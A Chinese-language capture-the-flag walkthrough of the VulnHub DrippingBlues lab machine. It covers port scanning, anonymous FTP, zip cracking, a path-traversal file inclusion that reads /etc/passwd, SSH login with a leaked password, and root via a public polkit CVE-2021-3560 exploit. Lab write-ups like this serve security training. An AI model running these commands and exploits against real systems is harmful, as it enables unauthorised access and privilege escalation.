端口扫描

┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ sudo nmap --min-rate=10000 -p- 192.168.56.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 13:47 CST
Nmap scan report for 192.168.56.139
Host is up (0.00011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:13:FC:AA (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.80 seconds
┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ sudo nmap -sT -sC -sV -O -p21,22,80 192.168.56.139
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 13:48 CST
Nmap scan report for 192.168.56.139
Host is up (0.00043s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 0 0 471 Sep 19 2021 respectmydrip.zip [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.131
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:bb:af:6f:7d:a7:9d:65:a1:b1:a1:be:91:cd:04:28 (RSA)
| 256 a3:d3:c0:b4:c5:f9:c0:6c:e5:47:64:fe:91:c5:cd:c0 (ECDSA)
|_ 256 4c:84:da:5a:ff:04:b9:b5:5c:5a:be:21:b6:0e:45:73 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/dripisreal.txt /etc/dripispowerful.html
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:13:FC:AA (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.06 seconds

Getshell

FTP允许匿名登陆,上面一个压缩包,下载

┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ ftp 192.168.56.139
Connected to 192.168.56.139.
220 (vsFTPd 3.0.3)
Name (192.168.56.139:mikannse): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> binary
200 Switching to Binary mode.
ftp> ls
229 Entering Extended Passive Mode (|||54984|)
150 Here comes the directory listing.
-rwxrwxrwx 1 0 0 471 Sep 19 2021 respectmydrip.zip
226 Directory send OK.
ftp> get respectmydrip.zip
local: respectmydrip.zip remote: respectmydrip.zip
229 Entering Extended Passive Mode (|||19939|)
150 Opening BINARY mode data connection for respectmydrip.zip (471 bytes).
100% |********************************************************| 471 50.07 KiB/s 00:00 ETA
226 Transfer complete.
471 bytes received in 00:00 (47.66 KiB/s)

但是压缩包需要密码

┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip


PASSWORD FOUND!!!!: pw == 072528035

爆破得到密码,解压得到一张没什么用的纸条和另一个压缩包还是需要密码

查看web服务的robots.txt

User-agent: *
Disallow: /dripisreal.txt
Disallow: /etc/dripispowerful.html

上面那个文本告诉ssh密码是歌词的md5sum,暂时不太理解,下一个是一个/etc目录的文件?也许暗示着本地文件包含

稍微扫描一下目录,有一个index.php,也就是访问的主页

┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ feroxbuster -u http://192.168.56.139/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,html,bak,pdf,php --filter-status 404
<SNIP>
404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 9l 21w 138c http://192.168.56.139/index.php
200 GET 9l 21w 138c http://192.168.56.139/
200 GET 3l 6w 78c http://192.168.56.139/robots.txt

结合纸条告诉的focus on “drip”,猜测参数是drip,成功文件包含,并且得到一个thugger用户

┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ curl "http://192.168.56.139/index.php?drip=../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<SNIP>
thugger:x:1001:1001:,,,:/home/thugger:/bin/bash
sshd:x:126:65534::/run/sshd:/usr/sbin/nologin
mysql:x:127:133:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:128:134:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

读取/etc/目录的文档

┌──(mikannse㉿kali)-[~/vulnhub/DrippingBlues]
└─$ curl "http://192.168.56.139/index.php?drip=/etc/dripispowerful.html"
<!DOCTYPE html>
<html>
<body>
<style>
body {
background-image: url('drippin.jpg');
background-repeat: no-repeat;
}
<SNIP>
password is:
imdrippinbiatch

得到密码,然而不是压缩包的密码,尝试ssh连接上面得到的用户名,成功

提权

本地还开着mysql,但是尝试了几个用户和密码都登陆不上

使用linpeas枚举了一下没什么信息,用pspy枚举一下进程,我猜想肯定有一个对于ftp目录的什么操作

但实际上并没有,但是有一个/usr/lib/policykit-1/polkitd –no-debug进程,其实linpeas也有枚举出这个进程

搜了一下这个进程

Polkit (PolicyKit) 是类 Unix 操作系统中用于控制系统范围权限的组件。它为非特权进程与特权进程提供了一种有组织的方式进行通信

似乎是比SUID更加精细的权限操作

有一个现成的poc: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py

thugger@drippingblues:/tmp$ python3 pwn.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original exploit author: Kevin Backhouse
For more details check this out: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
**************
[+] Starting the Exploit
<SNIP>
root@drippingblues:/tmp# whoami
root

具体的漏洞详细参考: https://github.blog/security/vulnerability-research/privilege-escalation-polkit-root-on-linux-with-bug/#history

碎碎念

有很多兔子洞,压缩包密码,还有歌词ssh密码啥的,本地还有Mysql,ftp,让人联想的路径其实挺多的。最后利用这个之前没听说过的服务的CVE提权